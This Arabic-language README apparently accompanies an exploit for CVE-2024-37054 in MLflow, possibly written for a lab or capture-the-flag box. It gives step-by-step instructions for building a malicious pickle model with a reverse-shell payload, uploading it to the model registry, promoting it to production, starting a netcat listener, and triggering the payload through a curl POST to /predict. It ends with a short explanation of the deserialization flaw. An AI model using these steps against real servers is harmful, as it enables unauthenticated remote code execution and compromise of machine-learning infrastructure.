
استغلال لـ CVE-2024-37054: يولد نموذج pickle خبيث، يرفعه إلى MLflow، ويطلق تنفيذ التعليمات البرمجية عن بُعد عبر نقطة نهاية /predict.
| الملف | الغرض |
|---|---|
generate_model.py | ينشئ model.pkl خبيث مع حمولة شل عكسية |
upload_model.py | يرفع pickle إلى MLflow ويُرقيه إلى الإنتاج |
sample.csv | ملف CSV يُستخدم لتشغيل نقطة النهاية /predict |
قم بتعديل generate_model.py واضبط عنوان IP الخاص بـ tun0:
python3 generate_model.py
nc -lvnp 4444
قم بتعديل upload_model.py:
MLFLOW إلى http://127.0.0.1:5000MODEL_NAME إلى اسم النموذج النشط الموجود في النطاق الرئيسيpython3 upload_model.py
احصل على كعكة جلسة جديدة من تطبيق العميل، ثم:
curl -X POST http://127.0.0.1:80/predict \
-H "Cookie: session=<YOUR_SESSION_COOKIE>" \
-F "[email protected]"
يتم استقبال الشل على المستمع الخاص بك.
إلغاء تسلسل Pickle عبر سجل نماذج MLflow
يقوم MLflow بتحميل النماذج المسجلة باستخدام pickle.load() في بايثون. من خلال رفع pickle مصمم كقطعة أثرية لنموذج وترقيته إلى الإنتاج، فإن أي استدعاء لاحق لنقطة النهاية /predict سيؤدي إلى إلغاء تسلسل الحمولة على جانب الخادم، مما يحقق تنفيذ أوامر عن بُعد (RCE) غير مصادق عليه كمستخدم التطبيق.